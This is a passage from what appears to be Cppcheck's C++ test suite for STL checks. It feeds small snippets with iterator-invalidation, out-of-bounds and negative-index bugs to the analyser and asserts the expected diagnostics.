ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n // #10012\n check(\"struct a {\\n\"\n \" int b;\\n\"\n \" int end() { return b; }\\n\"\n \"};\\n\"\n \"void f(a c, a d) {\\n\"\n \" if (c.end() == d.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10467\n check(\"void f(std::array, N>& A) {\\n\"\n \" for (auto& a : A) {\\n\"\n \" auto it = std::find_if(a.begin(), a.end(), \\n\"\n \" [](auto i) { return i == 0; });\\n\"\n \" if (it != a.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10604\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void f(S& s, int m) {\\n\"\n \" s.v.erase(s.v.begin() + m);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11093\n check(\"struct S {\\n\"\n \" std::vector v1, v2;\\n\"\n \" void f(bool b) {\\n\"\n \" std::vector& v = b ? v1 : v2;\\n\"\n \" v.erase(v.begin());\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12377\n check(\"void f(bool b) {\\n\"\n \" std::vector *pv;\\n\"\n \" if (b) {\\n\"\n \" std::vector& r = get1();\\n\"\n \" pv = &r;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" std::vector& r = get2();\\n\"\n \" pv = &r;\\n\"\n \" }\\n\"\n \" std::vector::iterator it = pv->begin();\\n\"\n \" it = pv->erase(it, it + 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f() {\\n\"\n \" std::vector* p = &v;\\n\"\n \" p->insert(std::find(p->begin(), p->end(), 0), 1);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f(int i) {\\n\"\n \" std::vector* p = &v;\\n\"\n \" if (p->size() > i)\\n\"\n \" p->erase(p->begin() + i, p->end());\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11067\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" std::list::const_iterator> li;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" v.erase(*li.begin());\\n\"\n \" li.pop_front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::set& a, std::stack::iterator>& b) {\\n\"\n \" while (!b.empty()) {\\n\"\n \" a.erase(b.top());\\n\"\n \" b.pop();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& a, std::vector::iterator>& b) {\\n\"\n \" auto it = b.begin();\\n\"\n \" a.erase(*it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12443\n \" std::vector v;\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"void f() {\\n\"\n \" auto it = std::find(v.begin(), v.end(), 0);\\n\"\n \" if (it != N::v.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void* p) {\\n\" // #12445\n \" std::vector&v = *(std::vector*)(p);\\n\"\n \" v.erase(v.begin(), v.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13408\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& i : v) {\\n\"\n \" if (std::distance(&*v.cbegin(), &i)) {}\\n\"\n \" } \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseIteratorOutOfBounds() {\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.erase(v.begin());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.begin()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.erase(v.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.end()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto it = v.begin();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Calling function 'erase()' on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" auto it = v.end();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Calling function 'erase()' on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" auto it = v.begin();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" v.erase(v.end() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" v.erase(v.begin() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.begin()-1' which is out of bounds. [eraseIteratorOutOfBounds]\\n\"\n \"[test.cpp:3:23]: (error) Dereference of an invalid iterator: v.begin()-1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v, std::vector::iterator it) {\\n\"\n \" if (it == v.end()) {}\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Either the condition 'it==v.end()' is redundant or function 'erase()' is called on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBoundsCond]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" ((v).erase)(v.begin());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (error) Calling function 'erase()' on the iterator 'v.begin()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n }\n\n // Dereferencing invalid pointer\n void dereference() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints{1,2,3,4,5};\\n\"\n \" std::vector::iterator iter;\\n\"\n \" iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:5] -> [test.cpp:6] -> [test.cpp:3] -> [test.cpp:7]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:5:22] -> [test.cpp:6:10] -> [test.cpp:3:22] -> [test.cpp:7:20]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // #6554 \"False positive eraseDereference - erase in while() loop\"\n check(\"typedef std::map packetMap;\\n\"\n \"packetMap waitingPackets;\\n\"\n \"void ProcessRawPacket() {\\n\"\n \" packetMap::iterator wpi;\\n\"\n \" while ((wpi = waitingPackets.find(lastInOrder + 1)) != waitingPackets.end()) {\\n\"\n \" waitingPackets.erase(wpi);\\n\"\n \" for (unsigned pos = 0; pos < buf.size(); ) { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8509 Uniform initialization ignored for iterator\n check(\"void f() {\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::const_iterator iter {ints.cbegin()};\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereference_break() { // #3644\n check(\"void f(std::vector &ints) {\\n\"\n \" std::vector::iterator iter;\\n\"\n \" for (iter=ints.begin();iter!=ints.end();++iter) {\\n\"\n \" if (*iter == 2) {\\n\"\n \" ints.erase(iter);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" if (*iter == 3) {\\n\"\n \" ints.erase(iter);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereference_member() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::map ints;\\n\"\n \" std::map::iterator iter;\\n\"\n \" iter = ints.begin();\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << iter->first << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18] -> [test.cpp:6:5]: (error) Iterator 'iter' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:6:10]: (error) Calling function 'erase()' on the iterator 'iter' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n\n // Reverse iterator\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::map ints;\\n\"\n \" std::map::reverse_iterator iter;\\n\"\n \" iter = ints.rbegin();\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << iter->first << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18] -> [test.cpp:6:5]: (error) Iterator 'iter' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:6:10]: (error) Calling function 'erase()' on the iterator 'iter' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n }\n\n void dereference_auto() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints{1,2,3,4,5};\\n\"\n \" auto iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:5] -> [test.cpp:3] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:4:27] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:6:20]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto x = *myList.begin();\\n\"\n \" myList.erase(x);\\n\"\n \" auto b = x.first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const CXXRecordDecl *CXXRecordDecl::getTemplateInstantiationPattern() const {\\n\"\n \" if (auto *TD = dyn_cast(this)) {\\n\"\n \" auto From = TD->getInstantiatedFrom();\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void STLSize() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:11]: (error) Out of bounds access in expression 'foo[ii]' because 'foo' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo.at(ii) is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.length(); ++ii) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" if (ii <= foo.length()) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" do {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" ++i;\\n\"\n \" } while(ii <= foo.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" if (anything()) {\\n\"\n \" } else if (ii <= foo.length()) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(1);\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" int ii = 0;\\n\"\n \" foo[ii] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for (B b : D()) {}\\n\" // Don't crash on range-based for-loop\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size() + 1; ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo.at(ii) is out of bounds. [stlOutOfBounds]\\n\", \"\", errout_str());\n }\n\n void STLSizeNoErr() {\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii < foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" if (ii == foo.size())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:11:16]: (error) Out of bounds access in expression 'foo[ii]' because 'foo' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n {\n check(\"void f(const std::map &data) {\\n\"\n \" int i = x;\"\n \" for (int i = 5; i <= data.size(); i++)\\n\"\n \" data[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size() - 1; ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void negativeIndex() {\n check(\"void f(const std::vector &v) {\\n\"\n \" v[-11] = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (error) Array index -11 is out of bounds. [negativeContainerIndex]\\n\", errout_str());\n\n check(\"int f(int x, const std::vector& a) {\\n\"\n \" if (!(x < 5))\\n\"\n \" return a[x - 5];\\n\"\n \" else\\n\"\n \" return a[4 - x];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::array values;\\n\"\n \"int get_value();\\n\"\n \"int compute() {\\n\"\n \" int i = get_value();\\n\"\n \" if( i < 0 || i > 5)\\n\"\n \" return -1;\\n\"\n \" int sum = 0;\\n\"\n \" for( int j = i+1; j < 7; ++j)\\n\"\n \" sum += values[j-1];\\n\"\n \" return sum;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int g() { return 0; } };\\n\" // #11831\n \"struct C {\\n\"\n \" int h() const { return b->g(); }\\n\"\n \" B* b;\\n\"\n \"};\\n\"\n \"struct O {\\n\"\n \" int f() const;\\n\"\n \" std::vector v;\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"int O::f() const { return v[c.h() - 1]; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #13196\n \" if (v.empty())\\n\"\n \" return;\\n\"\n \" int idx = -1;\\n\"\n \" for (int i = 0; i < v.size(); ++i) {\\n\"\n \" idx = i;\\n\"\n \" }\\n\"\n \" (void)v[idx];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n const auto oldSettings = settings; // TODO: get rid of this\n settings.daca = true;\n\n check(\"void f() {\\n\"\n \" const char a[][5] = { \\\"1\\\", \\\"true\\\", \\\"on\\\", \\\"yes\\\" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n settings = oldSettings;\n }\n\n void negativeIndexMultiline() {\n setMultiline();\n const auto oldSettings = settings; // TODO: get rid of this\n settings.verbose = true;\n\n check(\"bool valid(int);\\n\" // #11697\n \"void f(int i, const std::vector& v) {\\n\"\n \" if (!valid(i))\\n\"\n \" return;\\n\"\n \" if (v[i]) {}\\n\"\n \"}\\n\"\n \"void g(const std::vector& w) {\\n\"\n \" f(-1, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: warning: Array index -1 is out of bounds. [negativeContainerIndex]\\n\"\n \"[test.cpp:8:8]: note: Calling function 'f', 1st argument '-1' value is -1\\n\"\n \"[test.cpp:3:9]: note: Assuming condition is false\\n\"\n \"[test.cpp:5:9]: note: Negative array index\\n\",\n errout_str());\n\n settings = oldSettings;\n }\n\n void erase1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it) {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it) {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:7:5] -> [test.cpp:8:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f(std::list &ints)\\n\"\n \"{\\n\"\n \" std::list::iterator i = ints.begin();\\n\"\n \" i = ints.erase(i);\\n\"\n \" *i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator i;\\n\"\n \" while (i != x.y.end())\\n\"\n \" i = x.y.erase(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #2101\n check(\"void f(vector< std::list > &ints, unsigned int i)\\n\"\n \"{\\n\"\n \" std::list::iterator it;\\n\"\n \" for(it = ints[i].begin(); it != ints[i].end(); it++) {\\n\"\n \" if (*it % 2)\\n\"\n \" it = ints[i].erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase2() {\n check(\"static void f()\\n\"\n \"{\\n\"\n \" for (iterator it = foo.begin(); it != foo.end(); it = next)\\n\"\n \" {\\n\"\n \" next = it;\\n\"\n \" next++;\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase3() {\n check(\"static void f(std::list &foo)\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" foo.erase(it->a);\\n\"\n \" if (it->b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase4() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it, it2;\\n\"\n \" for (it = foo.begin(); it != i2; ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" for (; it != i2; ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" while (it != i2)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" while (it != i2)\\n\"\n \" {\\n\"\n \" foo.erase(++it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void erase5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list foo;\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 123)\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5] -> [test.cpp:8:22]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void erase6() {\n check(\"void f() {\\n\"\n \" std::vector vec(3);\\n\"\n \" std::vector::iterator it;\\n\"\n \" std::vector::iterator itEnd = vec.end();\\n\"\n \" for (it = vec.begin(); it != itEnd; it = vec.begin(), itEnd = vec.end())\\n\"\n \" {\\n\"\n \" vec.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseBreak() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" if (x)\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (x) {\\n\"\n \" foo.erase(it);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" if (x)\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n }\n\n void eraseContinue() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator it;\\n\"\n \" std::vector::iterator jt = ints.begin();\\n\"\n \" for (it = ints.begin(); it != ints.end(); it = jt) {\\n\"\n \" ++jt;\\n\"\n \" if (*it == 1) {\\n\"\n \" jt = ints.erase(it);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map my_map) {\\n\" // #7365\n \" std::map::iterator itr = my_map.begin();\\n\"\n \" switch (itr->first) {\\n\"\n \" case 0:\\n\"\n \" my_map.erase(itr);\\n\"\n \" continue;\\n\"\n \" case 1:\\n\"\n \" itr->second = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1) {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (somecondition) {\\n\"\n \" if (*it == 1)\\n\"\n \" foo.erase(it);\\n\"\n \" else\\n\"\n \" *it = 0;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (a) {\\n\"\n \" if (b)\\n\"\n \" foo.erase(it);\\n\" // <- TODO: erase shound't cause inconclusive valueflow\n \" else\\n\"\n \" *it = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:5] -> [test.cpp:7] -> [test.cpp:8] -> [test.cpp:8] -> [test.cpp:7] -> [test.cpp:5] -> [test.cpp:9] -> [test.cpp:3] -> [test.cpp:5]: (error) Using iterator to local container 'foo' that may be invalid.\\n\",\n \"[test.cpp:5:24] -> [test.cpp:7:13] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:7:13] -> [test.cpp:5:31] -> [test.cpp:9:21] -> [test.cpp:3:22] -> [test.cpp:5:28]: (error, inconclusive) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void eraseGoto() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" goto abc;\\n\"\n \" }\\n\"\n \"bar:\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" it = foo.begin();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign2() {\n check(\"void f(std::list &ints)\\n\"\n \"{\\n\"\n \" for (std::list::iterator it = ints.begin(); it != ints.end();) {\\n\"\n \" if (*it == 123) {\\n\"\n \" std::list::iterator copy = it;\\n\"\n \" ++copy;\\n\"\n \" ints.erase(it);\\n\"\n \" it = copy;\\n\"\n \" } else {\\n\"\n \" it->second = 123;\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign3() {\n check(\"void f(std::list >& l) {\\n\"\n \" std::list >::const_iterator i = l.begin();\\n\"\n \" std::list::const_iterator j = (*i).begin();\\n\"\n \" cout << *j << endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign4() {\n check(\"void f(std::list data) {\\n\"\n \" std::list::const_iterator it = data.begin();\\n\"\n \" it = data.erase(it);\\n\"\n \" it = data.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(Data data) {\\n\"\n \" std::list::const_iterator it = data.ints.begin();\\n\"\n \" it = data.ints.erase(it);\\n\"\n \" it = data.ints.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssignByFunctionCall() {\n check(\"void f(std::list >& l) {\\n\"\n \" 